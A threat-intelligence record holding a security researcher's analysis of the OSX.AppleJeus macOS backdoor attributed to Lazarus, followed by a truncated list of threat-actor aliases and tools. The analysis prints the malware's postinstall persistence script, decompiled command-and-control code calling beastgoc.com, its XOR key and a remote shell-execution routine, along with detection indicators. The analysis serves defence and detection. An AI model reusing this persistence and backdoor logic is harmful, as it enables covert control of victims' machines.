{
	"id": "8d8e1da2-bce5-4139-9780-2339626bd1c6",
	"created_at": "2026-04-06T00:13:25.754914Z",
	"updated_at": "2026-04-10T03:38:20.476398Z",
	"deleted_at": null,
	"sha1_hash": "80112c9b28a17048a95a991f3251c5eb21c6423a",
	"title": "Pass the AppleJeus",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4210591,
	"plain_text": "Pass the AppleJeus\r\nArchived: 2026-04-05 19:57:33 UTC\r\nPass the AppleJeus\r\na mac backdoor written by the infamous lazarus apt group\r\nby: Patrick Wardle / October 12, 2019\r\nOur research, tools, and writing, are supported by \"Friends of Objective-See\"\r\nToday’s blog post is brought to you by:\r\n CleanMy Mac X\r\n\\ \\\r\n📝 👾 Want to play along?\r\nI’ve shared the OSX.AppleJeus sample (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nOn Friday @malwrhunterteam tweeted about some interesting malware:\r\nAt the time of said tweet, the sample was undetected by 0 engines on VirusTotal:\r\nIn the same twitter thread, @malwrhunterteam also noted this malware may have been seen before (or at least was\r\nclosely related to previous specimen analyzed by Kaspersky (as OSX.AppleJeus )):\r\nMore AppleJeus\r\nIn Kaspersky’s original writeup, they detailed an interesting attack whereas the Lazarus APT group targeted\r\nvarious cryptocurrency exchanges “with a fake installer and macOS malware”. One of the more interesting aspects\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 1 of 18\n\nof this operation, is that the APT group actually fabricated an entire fake company (“Celas Trade Pro”) and\r\nwebsite in order to increase the realism of the attack.\r\n\"The victim had been infected with the help of a trojanized cryptocurrency trading application, which\r\nhad been recommended to the company over email. It turned out that an unsuspecting employee of the\r\ncompany had willingly downloaded a third-party application from a legitimate looking website\"\r\nAs part of my recent RSA presentation I highlighted this attack as well:\r\nThe sample we’re looking at today, appears to follow an identical approach to infect macOS targets. First, a “new”\r\ncompany was created: “JMT Trading” (hosted at: https://www.jmttrading.org/):\r\nLooks reasonably legitimate, ya? Following the “Download from Github” link, takes us to:\r\nhttps://github.com/jmttrading/JMTTrader/releases, which contains various files for download. Files that contain\r\nmalware! 👾\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 2 of 18\n\nAs noted in another recent [tweet](https://twitter.com/malwrhunterteam/status/1182740228550942721), the\r\nattackers appeared to have already updated the hosted files, replacing the malicious ones with pristine versions.\r\nI’ve shared the infected macOS disk image containing the AppleJeus malware (password: infect3d).\r\nHere we’ll comprehensively examine the JMTTrader_Mac.dmg disk image (sha1:\r\n74390fba9445188f2489959cb289e73c6fbe58e4 ):\r\n$ shasum -a 1 ~/Downloads/JMTTrader_Mac.dmg\r\n74390fba9445188f2489959cb289e73c6fbe58e4 ~/Downloads/JMTTrader_Mac.dmg\r\nMounting the disk image reveals a single file: JMTTrader.pkg\r\n$ hdiutil attach JMTTrader_Mac.dmg\r\nexpected CRC32 $500E981E\r\n...\r\n/dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/JMTTrader\r\n$ ls /Volumes/JMTTrader/\r\nJMTTrader.pkg\r\nMy favorite tools for statically analyzing .pkg files is an application, aptly named, Suspicious Package\r\n(available for download here).\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 3 of 18\n\nVia this app, let’s take a peek at the JMTTrader.pkg :\r\nAs can be seen, the package is not signed and contains a postinstall script (which contains the actual\r\ninstallation instructions). Using the Suspicious Package app, we can view the contents of this install file:\r\n 1#!/bin/sh\r\n 2mv /Applications/JMTTrader.app/Contents/Resources/.org.jmttrading.plist\r\n 3 /Library/LaunchDaemons/org.jmttrading.plist\r\n 4\r\n 5chmod 644 /Library/LaunchDaemons/org.jmttrading.plist\r\n 6\r\n 7mkdir /Library/JMTTrader\r\n 8\r\n 9mv /Applications/JMTTrader.app/Contents/Resources/.CrashReporter\r\n10 /Library/JMTTrader/CrashReporter\r\n11\r\n12chmod +x /Library/JMTTrader/CrashReporter\r\n13\r\n14/Library/JMTTrader/CrashReporter Maintain \u0026\r\nIn short, this install script:\r\n1. Installs a launch daemon plist ( org.jmttrading.plist )\r\n2. Installs a daemon ( CrashReporter )\r\n3. Executes said daemon with the Maintain command line parameter.\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 4 of 18\n\nNote that this requires administrative privileges, but the malware will kindly ask for such privileges during\r\ninstallation:\r\nBoth the daemon’s plist and binary are (originally) embedded into an application, JMTTrader.app found within\r\nthe .pkg . Specifically they’re hidden files found in the /Resources directory;\r\nResources/.org.jmttrading.plist and Resources/.CrashReporter :\r\nUsing the “Suspicious Package” app we can extract both these file for analysis.\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 5 of 18\n\nFirst, let’s look at the launch daemon plist ( org.jmttrading.plist ):\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nLabelorg.jmttrading.jmttraderProgramArguments/Library/JMTTrader/CrashReporterMaintainRunAtLoad As expected, it references the daemon /Library/JMTTrader/CrashReporter (in the ProgramArguments array).\nAs the RunAtLoad is set to true macOS will automatically (re)start the daemon every time the system is\nrebooted.\nNow on to the CrashReporter binary.\nVia the file command, we can determine its file type (Mach-O 64-bit):\n$ file ~/Downloads/.CrashReporter\n~/Downloads/.CrashReporter: Mach-O 64-bit executable x86_64\nUsing my WhatsYourSign utility, we can easily ascertain it’s code-signing status. Though signed, it’s signed ad-hoc:\nhttps://objective-see.org/blog/blog_0x49.html\nPage 6 of 18\n\nRunning the strings command, affords us valuable insight into the (likely) functionality of the binary.\r\n$ strings -a ~/Downloads/.CrashReporter\r\nContent-Disposition: form-data; name=\"%s\";\r\njGzAcN6k4VsTRn9\r\n...\r\nmont.jpg\r\n...\r\nbeastgoc.com\r\nhttps://%s/grepmonux.php\r\nPOST\r\n...\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121\r\nX,%`PMk--Jj8s+6=\r\n\\\r\nAlways run the strings command with the -a flag to instruct it to scan the entire file for printable strings!\r\nFrom the output of the strings command, we can see some interesting, well, strings!\r\nbeastgoc.com , https://%s/grepmonux.php\r\nlikely a download or C\u0026C server?\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...\r\nthe binary’s user-agent (perhaps useful as an IOC)?\r\nX,%\\`PMk--Jj8s+6=\r\nperhaps an encryption or decryption key?\r\nDetailed Analysis\r\nNow, it’s time to dive in and tear apart the CrashReporter binary! Let’s pop over to a virtual machine and start a\r\ndetailed analysis.\r\nThe binary’s main function is actual rather simple, and due to named functions, rather informative:\r\n 1int _main(int arg0, int arg1, int arg2, int arg3) {\r\n 2\r\n 3 if ((arg0 != 0x2) || (strcmp(arg1, \"Maintain\") != 0x0)) goto exit;\r\n 4\r\n 5 make_token();\r\n 6 chdir(\"/\");\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 7 of 18\n\n7\r\n 8 loop:\r\n 9 rcx = 0x0;\r\n10 do {\r\n11 do {\r\n12 rbx = rcx;\r\n13 while (conn_to_base() != 0x0) {\r\n14 sleep(0x5);\r\n15 }\r\n16 usleep(0x186a0);\r\n17 rax = listen_message();\r\n18 rcx = 0x0;\r\n19 } while (rax == 0x0);\r\n20 rcx = rbx + 0x1;\r\n21 } while (rbx \u003c 0x3);\r\n22 sleep(0x384);\r\n23 goto loop;\r\n24\r\n25 exit:\r\n26 return 0x0;\r\n27}\r\nFrom the above decompilation, we can ascertain the following:\r\n1. The malware expects to be executed with a single commandline argument: Maintain\r\n(Recall that when the malware was persisted, this argument is passed in via the launch daemon plist).\r\n2. After generating a (random) token, the malware enters a loop.\r\n3. The loop invokes a function named conn_to_base .\r\n4. If the conn_to_base function succeeds, it invokes a function named listen_message .\r\nWe can start the malware in a debugger ( lldb ), making sure to set the required argument:\r\n$ lldb ./CrashReporter\r\n(lldb) target create \"./CrashReporter\"\r\nCurrent executable set to './CrashReporter' (x86_64).\r\n(lldb) settings set target.run-args Maintain\r\nFirst, we’ll set a breakpoint on the conn_to_base function (address: 0x0000000100001fd7 ).\r\n 1int conn_to_base() {\r\n 2\r\n 3 r15 = malloc(0x30000);\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 8 of 18\n\n4 r14 = malloc(0x30000);\r\n 5 __bzero(r15, 0x30000);\r\n 6 __bzero(r14, 0x30000);\r\n 7\r\n 8 r15 = g_token;\r\n 9 (r15 + 0x4) = _g_version;\r\n10 (r15 + 0x8) = getpid();\r\n11\r\n12 var_1C = 0x0;\r\n13 rax = send_to_base(rdi, r15, 0xc, r14, \u0026var_1C, 0x0);\r\n14 rbx = rax;\r\n15 if (rax == 0x0) {\r\n16 if ((var_1C == 0x3) \u0026\u0026 (strcmp(r14, \"200\") == 0x0)) {\r\n17 rbx = 0x0;\r\n18 }\r\n19 else {\r\n20 rbx = 0x2;\r\n21 }\r\n22 }\r\n23 ...\r\n24\r\n25 rax = rbx;\r\n26 return rax;\r\n27}\r\nAfter allocating two buffers, the conn_to_base function initializes one of the buffers with the (randomly)\r\ngenerated token, the binary’s version ( _g_version ), and the process’s pid.\r\nThe version, is found at 0x0000000100003414 , and is set to 0x1 (likely indicating this is version 1.0 of the\r\nbinary).\r\n1_g_version:\r\n20x0000000100003414 dd 0x00000001\r\nThe conn_to_base function then invokes a function named send_to_base (we’ll get to this shortly). If that\r\nfunction returns exactly three bytes, set to the string 200 the conn_to_base will return a 0, indicating success.\r\n(Recall the main function is sitting in a loop, wait for upon this success will invoke the listen_message()\r\nfunction).\r\nWhat does the send_to_base function do? If you guessed “connect to a C\u0026C server” you’re correct!\r\nThough the function is rather long, it’s logic can be summarized as follows:\r\nConstruct the URL of the C\u0026C server: https://beastgoc.com/grepmonux.php\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 9 of 18\n\nCrashReporter`send_to_base:\r\n-\u003e 0x100001895 \u003c+1050\u003e: callq sprintf\r\n \r\nTarget 0: (CrashReporter) stopped.\r\n(lldb) x/s $rsi\r\n0x100002c0d: \"https://%s/grepmonux.php\"\r\n(lldb) x/s $rdx\r\n0x100002c00: \"beastgoc.com\"\r\nNote this URL resolved to 185.228.83.32 and at the time of analysis was still up and responsive.\r\nEncrypt any passed in data (such as the generated token, the binary’s version ( _g_version ), and the\r\nprocess id).\r\n 10x000000010000170e 488D0DEB1C0000 lea rcx, qword [_cbc_iv]\r\n 2\r\n 3;xor loop\r\n 40x0000000100001715 89C2 mov edx, eax\r\n 50x0000000100001717 83E20F and edx, 0xf\r\n 60x000000010000171a 8A140A mov dl, byte [rdx+rcx]\r\n 70x000000010000171d 41301404 xor byte [r12+rax], dl\r\n 80x0000000100001721 48FFC0 inc rax\r\n 90x0000000100001724 4839C3 cmp rbx, rax\r\n100x0000000100001727 75EC jne loc_100001715\r\nNote the xor “encryption” key is stored at 0x0000000100003400 in variable named: _cbc_iv :\r\n1(lldb) x/s 0x0000000100003400\r\n20x100003400: \"X,%`PMk--Jj8s+6=\\x02\"\r\nSend an HTTP POST request to https://beastgoc.com/grepmonux.php containing the following data:\r\n(lldb)x/s 0x100260000\r\n0x100260000: \"--jGzAcN6k4VsTRn9\\r\\nContent-Disposition: form-data; name=\"token\"; \\r\\n\\r\\n75622\r\nValues such as token , query , content and mont.jpg are hardcoded in the binary:\r\n10x00000001000016cc 48B8636F6E74656E7400 movabs rax, 'content'\r\n2...\r\n30x00000001000016f4 48B96D6F6E742E6A7067 movabs rcx, 'mont.jpg'\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 10 of 18\n\nAnd what about the \\xffffffeb'6MQMk-|Oj8 ? That’s the data (token, version, pid), that was xor\r\nencrypted!\r\nIn a callback block (set via: [r12 dataTaskWithRequest:r13 completionHandler:\u0026callback] ), parse the\r\nresponse from the C\u0026ampC; server. Specifically the length of the response is checked, and if it’s non-zero,\r\nthe bytes of the response are extracted:\r\n1if ([r14 length] != 0x0) {\r\n2 rax = [r14 length];\r\n3 *(int32_t *)*(r12 + 0x30) = rax;\r\n4\r\n5 [r14 getBytes:*(r12 + 0x38) length:rax];\r\n6}\r\nThe first time the send_to_base function is invoked (via the conn_to_base function), it succeeds: the C\u0026C\r\nserver returns three bytes containing the string 200 :\r\n(lldb) Target 0: (CrashReporter) stopped.\r\n(lldb) x/s 0x100230000\r\n0x100230000: \"200\"\r\nRecall that when the code returns back up into the main function, the listen_message function will now be\r\nexecuted:\r\n1while (conn_to_base() != 0x0) {\r\n2 sleep(0x5);\r\n3}\r\n4usleep(0x186a0);\r\n5rax = listen_message();\r\nThe listen_message function (re)invokes the send_to_base function and parses an encrypted response from\r\nthe C\u0026C server. Depending on the response, it performs various actions. In other words, it’s expecting tasking\r\nfrom the remote server!\r\n 1int listen_message() {\r\n 2\r\n 3...\r\n 4\r\n 5send_to_base(_g_token, 0x0, 0x0, r12, r13, 0x1);\r\n 6\r\n 7\r\n 8//decrypt\r\n 9do {\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 11 of 18\n\n10 (r12 + rax) = *(int8_t *)(r12 + rax) ^ *(int8_t *)((rax \u0026 0xf) + _cbc_iv);\r\n11 rax = rax + 0x1;\r\n12} while (rbx != rax);\r\n13\r\n14\r\n15//handle tasking (commands)\r\n16if (strcmp(r12, \"exit\") == 0x0) goto exit;\r\n17\r\n18if (strcmp(r12, \"kcon\") == 0x0) goto kcon;\r\n19\r\n20if (is_str_start_with(r12, \"up \") == 0x0) goto up;\r\n21\r\n22...\r\nUnfortunately during analysis, the C\u0026C server did not return any tasking. However, via static analysis, we can\r\nfairly easily ascertain the malware’s capabilities.\r\nFor example, the malware supports an “exit” command, which will (unsurprisingly) causes the malware to exit:\r\n 1if (strcmp(r12, \"exit\") == 0x0) goto exit;\r\n 2\r\n 3...\r\n 4\r\n 5exit:\r\n 6 r14 = 0x250;\r\n 7 var_434 = 0x0;\r\n 8 __bzero(r12, 0x30000);\r\n 9 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, \u0026var_434, 0x2);\r\n10 free(r12);\r\n11 free(r14);\r\n12 exit(0x0);\r\nIf the malware receives the up command, it appears to contain logic to open then write to a a file (i.e. upload a\r\nfile from the C\u0026C server to an infected host):\r\n 1if (is_str_start_with(r12, \"up \") != 0x0)\r\n 2{\r\n 3 //open file\r\n 4 rax = fopen(\u0026var_430, \"wb\");\r\n 5\r\n 6 //(perhaps) get file contents from C\u0026C server?\r\n 7 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, r13, 0x2)\r\n 8 ...\r\n 9\r\n10 //decrypt\r\n11 do {\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 12 of 18\n\n12 (r12 + rax) = (r12 + rax) ^ (rax \u0026 0xf) + _cbc_iv);\r\n13 rax = rax + 0x1;\r\n14 } while (rbx != rax);\r\n15\r\n16 //write out to disk\r\n17 fwrite(r12, rbx, 0x1, var_440);\r\n18\r\n19 //close\r\n20 fclose(var_440);\r\n21\r\n22}\r\nOther commands, will cause the malware to invoke a function named: proc_cmd :\r\n1if ((rbx \u003c 0x7) || (is_str_start_with(r12, \"stand \") == 0x0))\r\n2 goto loc_10000241c;\r\n3\r\n4loc_10000241c:\r\n5 rax = proc_cmd(r12, r14, \u0026var_438);\r\nThe proc_cmd function appears to execute a command via the shell (specifically via the popen API):\r\n1int proc_cmd(int * arg0, int * arg1, unsigned int * arg2) {\r\n2 r13 = arg2;\r\n3 r14 = arg1;\r\n4\r\n5 __bzero(\u0026var_430, 0x400);\r\n6 sprintf(\u0026var_430, \"%s 2\u003e\u00261 \u0026\", arg0);\r\n7 rax = popen(\u0026var_430, \"r\");\r\n$ man popen\r\nFILE * popen(const char *command, const char *mode);\r\nThe popen() function ``opens'' a process by creating a bidirectional pipe, forking, and invoking the\r\nThe command argument is a pointer to a null-terminated string containing a shell command line. This\r\nThe ability to remotely execute commands, clearly gives a remote attacker full and extensible control over the\r\ninfected macOS system!\r\nConnection to Lazarus APT Group?\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 13 of 18\n\nAs noted, a closely-related sample was previously analyzed by Kaspersky in their writeup titled: “Operation\r\nAppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware”\r\nThe question arises, is this sample related and how? This is actually a fairly easy question to conclusively: “yes”.\r\nHere we highlight several undeniable similarities and identicalities:\r\nThe infection mechanism is essentially identical\r\nIn both attacks, the APT group created a legitimately looking cryptocurrency company that hosted the\r\nmalware.\r\nThe .pkg s from both attacks share a similar layout. Specifically an postinstall script will persistently\r\ninstall the malware as a launch daemon, extracting a hidden plist from the applications’ /Resources\r\ndirectory.\\\r\nThough both samples are signed, neither are signed with a Apple developer ID. This is rather unusual.\r\nBoth malware samples are persisted as launch daemons that require a single commandline argument in\r\norder to execute. Comparing the two samples, though the logic is inverted (likely due to compiler\r\ndifferences), the following code snippets illustrate this similarity:\r\n1//sample 1\r\n2int main()\r\n3{\r\n4 //check arg 1\r\n5 if ((arg0 == 0x2) \u0026\u0026 (strcmp(arg1, \"CheckUpdate\") == 0x0)) //go\r\n6}\r\n\\\r\n1//sample 2\r\n2int main()\r\n3{\r\n4 //check arg 1\r\n5 if ((arg0 != 0x2) || (strcmp(arg1, \"Maintain\") != 0x0)) //exit\r\n6}\r\n\\\r\nKaspersky (in their original analysis) of another Lazarus backdoor stated:\r\n“Apparently the command-line argument is the way to prevent the detection of its malicious\r\nfunctionality via sandboxes or even reverse engineering. We have previously seen this technique\r\nadopted by Lazarus group in 2016 in attacks against banks. As of 2018, it is still using this in almost\r\nevery attack we investigated.”\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 14 of 18\n\nThere are many other similarities both samples (e.g. constants, etc) that again highlight a strong\r\nrelationship between the two attacks. For example both samples look for the C\u0026C server to return the same\r\nthree bytes, “200”:\r\n1//previous sample\r\n2var_70 = QString::fromAscii_helper(\"200\", 0x3);\r\n3rax = QString::compare(\u0026var_40, \u0026var_70, 0x1);\r\n4if (rax != 0xffffffff) {\r\n5 ...\r\n6}\r\n1//current sample\r\n2if ((var_1C == 0x3) \u0026\u0026 (strcmp(r14, \"200\") == 0x0)) {\r\n3 ...\r\n4}\r\nIMHO, without a doubt, both malware specimen’s where written by the APT group: Lazarus.\r\nHowever, though both malware samples are written by the same APT group, the samples are not the same.\r\nFirst, as noted by Kaspersky in their writeup on the previous Lazarus backdoor, that backdoor was “implemented\r\nusing a cross-platform QT framework.” The sample we looked at today, is solely created for macOS (there is no\r\ncross-platform code).\r\nThe previous backdoor also “collects basic system information … such as host name, OS type and version,\r\nSystem architecture, OS kernel type and version” Today’s specimen does not appear to contain this functionality.\r\nFinally the commands supported by today’s sample, appear to be be unique to this sample. That is to say, the\r\ncommand strings (“exit”, “up”, “kcon”) do not appear in the specimen previously analyzed by Kaspersky.\r\nRecall also that the malware we analyzed today contained a version 1.0 string:\r\n1_g_version:\r\n20x0000000100003414 dd 0x00000001\r\n…perhaps our sample is a precursor to the more comprehensive sample uncovered and analyzed by Kaspersky?\r\nOr perhaps its a completely separate Lazarus backdoor.\r\nDetection\r\nAs this malware is not particularly sophisticated, it’s actually fairly easy to detect. Unfortunately at the time of\r\nanalysis, no engines on VirusTotal detected the malware:\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 15 of 18\n\n\\\r\nIt should be noted that for any particular AV engine (on VirusTotal), said engine may only be one (small?) piece of\r\na more complete security product.\r\nThat is to say, a company’s comprehensive security product may also include a behavior-based engine (not\r\nincluded on VirusTotal) that perhaps could generically detect this new threat.\r\nOf course, behavior-based tools have no problem detecting the malware’s malicious activity (even with no a priori\r\nknowledge of the malware).\r\nFirst, BlockBlock will alert when the malware attempts to persist as a launch daemon:\r\nSimilarly, a system scanned with KnockKnock will show the malware as a persistent launch daemon:\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 16 of 18\n\nIf LuLu is installed, it will generate an alert when the malware attempts to connect out to it’s C\u0026C server for\r\ntasking:\r\nAnd finally, Netiquette (which enumerates active network connections), will show the malware connection to its\r\nremote C\u0026C server ( 185.228.83.32 ):\r\nIn terms of manual detection (IOCs), the following should suffice:\r\nThe malware’s launch daemon plist file: /Library/LaunchDaemons/org.jmttrading.plist\r\nThe malware’s persistent binary, installed at /Library/JMTTrader/CrashReporter or running:\r\n$ ps aux | grep JMTTrader/CrashReporter\r\nroot /Library/JMTTrader/CrashReporter Maintain\r\nConclusion\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 17 of 18\n\nIt’s not everyday we get a new macOS malware specimen to tear apart, especially one written by a reasonably\r\nsophisticated APT group. (Mahalo again to @malwrhunterteam for uncovering this sample and bringing it to my\r\nattention!)\r\nToday, we analyzed a (new?) Lazarus backdoor that affords a remote attacker complete command and control over\r\ninfected macOS systems.\r\nDo you have to worry about getting infected? Probably not, unless you’re an employee working at a crypto-currency exchange.\r\nBut either way, our free (largely) open-source security tools can generically provide protection against this and\r\nother macOS threats! 🥳 \\\r\n❤️ Love these blog posts and/or want to support my research and tools? \\ You can support them via my [Patreon]\r\n(https://www.patreon.com/bePatron?c=701171) page! \\\r\nSource: https://objective-see.org/blog/blog_0x49.html\r\nhttps://objective-see.org/blog/blog_0x49.html\r\nPage 18 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://objective-see.org/blog/blog_0x49.html"
	],
	"report_names": [
		"blog_0x49.html"
	],
	"threat_actors": [
		{
			"id": "34eea331-d052-4096-ae03-a22f1d090bd4",
			"created_at": "2025-08-07T02:03:25.073494Z",
			"updated_at": "2026-04-10T02:00:03.709243Z",
			"deleted_at": null,
			"main_name": "NICKEL ACADEMY",
			"aliases": [
				"ATK3 ",
				"Black Artemis ",
				"COVELLITE ",
				"CTG-2460 ",
				"Citrine Sleet ",
				"Diamond Sleet ",
				"Guardians of Peace",
				"HIDDEN COBRA ",
				"High Anonymous",
				"Labyrinth Chollima ",
				"Lazarus Group ",
				"NNPT Group",
				"New Romanic Cyber Army Team",
				"Temp.Hermit ",
				"UNC577 ",
				"Who Am I?",
				"Whois Team",
				"ZINC "
			],
			"source_name": "Secureworks:NICKEL ACADEMY",
			"tools": [
				"Destover",
				"KorHigh",
				"Volgmer"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "544ecd2c-82c9-417c-9d98-d1ae395df964",
			"created_at": "2025-10-29T02:00:52.035025Z",
			"updated_at": "2026-04-10T02:00:05.408558Z",
			"deleted_at": null,
			"main_name": "AppleJeus",
			"aliases": [
				"AppleJeus",
				"Gleaming Pisces",
				"Citrine Sleet",
				"UNC1720",
				"UNC4736"
			],
			"source_name": "MITRE:AppleJeus",
			"tools": null,
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "732597b1-40a8-474c-88cc-eb8a421c29f1",
			"created_at": "2025-08-07T02:03:25.087732Z",
			"updated_at": "2026-04-10T02:00:03.776007Z",
			"deleted_at": null,
			"main_name": "NICKEL GLADSTONE",
			"aliases": [
				"APT38 ",
				"ATK 117 ",
				"Alluring Pisces ",
				"Black Alicanto ",
				"Bluenoroff ",
				"CTG-6459 ",
				"Citrine Sleet ",
				"HIDDEN COBRA ",
				"Lazarus Group",
				"Sapphire Sleet ",
				"Selective Pisces ",
				"Stardust Chollima ",
				"T-APT-15 ",
				"TA444 ",
				"TAG-71 "
			],
			"source_name": "Secureworks:NICKEL GLADSTONE",
			"tools": [
				"AlphaNC",
				"Bankshot",
				"CCGC_Proxy",
				"Ratankba",
				"RustBucket",
				"SUGARLOADER",
				"SwiftLoader",
				"Wcry"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-04-10T02:00:02.971571Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Operation DarkSeoul",
				"Bureau 121",
				"Group 77",
				"APT38",
				"NICKEL GLADSTONE",
				"G0082",
				"COPERNICIUM",
				"Moonstone Sleet",
				"Operation GhostSecret",
				"APT 38",
				"Appleworm",
				"Unit 121",
				"ATK3",
				"G0032",
				"ATK117",
				"NewRomanic Cyber Army Team",
				"Nickel Academy",
				"Sapphire Sleet",
				"Lazarus group",
				"Hastati Group",
				"Subgroup: Bluenoroff",
				"Operation Troy",
				"Black Artemis",
				"Dark Seoul",
				"Andariel",
				"Labyrinth Chollima",
				"Operation AppleJeus",
				"COVELLITE",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Hidden Cobra",
				"Bluenoroff",
				"Stardust Chollima",
				"Whois Hacking Team",
				"Diamond Sleet",
				"TA404",
				"BeagleBoyz",
				"APT-C-26"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "32a223a8-3c79-4146-87c5-8557d38662ae",
			"created_at": "2022-10-25T15:50:23.703698Z",
			"updated_at": "2026-04-10T02:00:05.261989Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Lazarus Group",
				"Labyrinth Chollima",
				"HIDDEN COBRA",
				"Guardians of Peace",
				"NICKEL ACADEMY",
				"Diamond Sleet"
			],
			"source_name": "MITRE:Lazarus Group",
			"tools": [
				"RawDisk",
				"Proxysvc",
				"BADCALL",
				"FALLCHILL",
				"WannaCry",
				"MagicRAT",
				"HOPLIGHT",
				"TYPEFRAME",
				"Dtrack",
				"HotCroissant",
				"HARDRAIN",
				"Dacls",
				"KEYMARBLE",
				"TAINTEDSCRIBE",
				"AuditCred",
				"netsh",
				"ECCENTRICBANDWAGON",
				"AppleJeus",
				"BLINDINGCAN",
				"ThreatNeedle",
				"Volgmer",
				"Cryptoistic",
				"RATANKBA",
				"Bankshot"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "f32df445-9fb4-4234-99e0-3561f6498e4e",
			"created_at": "2022-10-25T16:07:23.756373Z",
			"updated_at": "2026-04-10T02:00:04.739611Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"APT-C-26",
				"ATK 3",
				"Appleworm",
				"Citrine Sleet",
				"DEV-0139",
				"Diamond Sleet",
				"G0032",
				"Gleaming Pisces",
				"Gods Apostles",
				"Gods Disciples",
				"Group 77",
				"Guardians of Peace",
				"Hastati Group",
				"Hidden Cobra",
				"ITG03",
				"Jade Sleet",
				"Labyrinth Chollima",
				"Lazarus Group",
				"NewRomanic Cyber Army Team",
				"Operation 99",
				"Operation AppleJeus",
				"Operation AppleJeus sequel",
				"Operation Blockbuster: Breach of Sony Pictures Entertainment",
				"Operation CryptoCore",
				"Operation Dream Job",
				"Operation Dream Magic",
				"Operation Flame",
				"Operation GhostSecret",
				"Operation In(ter)caption",
				"Operation LolZarus",
				"Operation Marstech Mayhem",
				"Operation No Pineapple!",
				"Operation North Star",
				"Operation Phantom Circuit",
				"Operation Sharpshooter",
				"Operation SyncHole",
				"Operation Ten Days of Rain / DarkSeoul",
				"Operation Troy",
				"SectorA01",
				"Slow Pisces",
				"TA404",
				"TraderTraitor",
				"UNC2970",
				"UNC4034",
				"UNC4736",
				"UNC4899",
				"UNC577",
				"Whois Hacking Team"
			],
			"source_name": "ETDA:Lazarus Group",
			"tools": [
				"3CX Backdoor",
				"3Rat Client",
				"3proxy",
				"AIRDRY",
				"ARTFULPIE",
				"ATMDtrack",
				"AlphaNC",
				"Alreay",
				"Andaratm",
				"AngryRebel",
				"AppleJeus",
				"Aryan",
				"AuditCred",
				"BADCALL",
				"BISTROMATH",
				"BLINDINGCAN",
				"BTC Changer",
				"BUFFETLINE",
				"BanSwift",
				"Bankshot",
				"Bitrep",
				"Bitsran",
				"BlindToad",
				"Bookcode",
				"BootWreck",
				"BottomLoader",
				"Brambul",
				"BravoNC",
				"Breut",
				"COLDCAT",
				"COPPERHEDGE",
				"CROWDEDFLOUNDER",
				"Castov",
				"CheeseTray",
				"CleanToad",
				"ClientTraficForwarder",
				"CollectionRAT",
				"Concealment Troy",
				"Contopee",
				"CookieTime",
				"Cyruslish",
				"DAVESHELL",
				"DBLL Dropper",
				"DLRAT",
				"DRATzarus",
				"DRATzarus RAT",
				"Dacls",
				"Dacls RAT",
				"DarkComet",
				"DarkKomet",
				"DeltaCharlie",
				"DeltaNC",
				"Dembr",
				"Destover",
				"DoublePulsar",
				"Dozer",
				"Dtrack",
				"Duuzer",
				"DyePack",
				"ECCENTRICBANDWAGON",
				"ELECTRICFISH",
				"Escad",
				"EternalBlue",
				"FALLCHILL",
				"FYNLOS",
				"FallChill RAT",
				"Farfli",
				"Fimlis",
				"FoggyBrass",
				"FudModule",
				"Fynloski",
				"Gh0st RAT",
				"Ghost RAT",
				"Gopuram",
				"HARDRAIN",
				"HIDDEN COBRA RAT/Worm",
				"HLOADER",
				"HOOKSHOT",
				"HOPLIGHT",
				"HOTCROISSANT",
				"HOTWAX",
				"HTTP Troy",
				"Hawup",
				"Hawup RAT",
				"Hermes",
				"HotCroissant",
				"HotelAlfa",
				"Hotwax",
				"HtDnDownLoader",
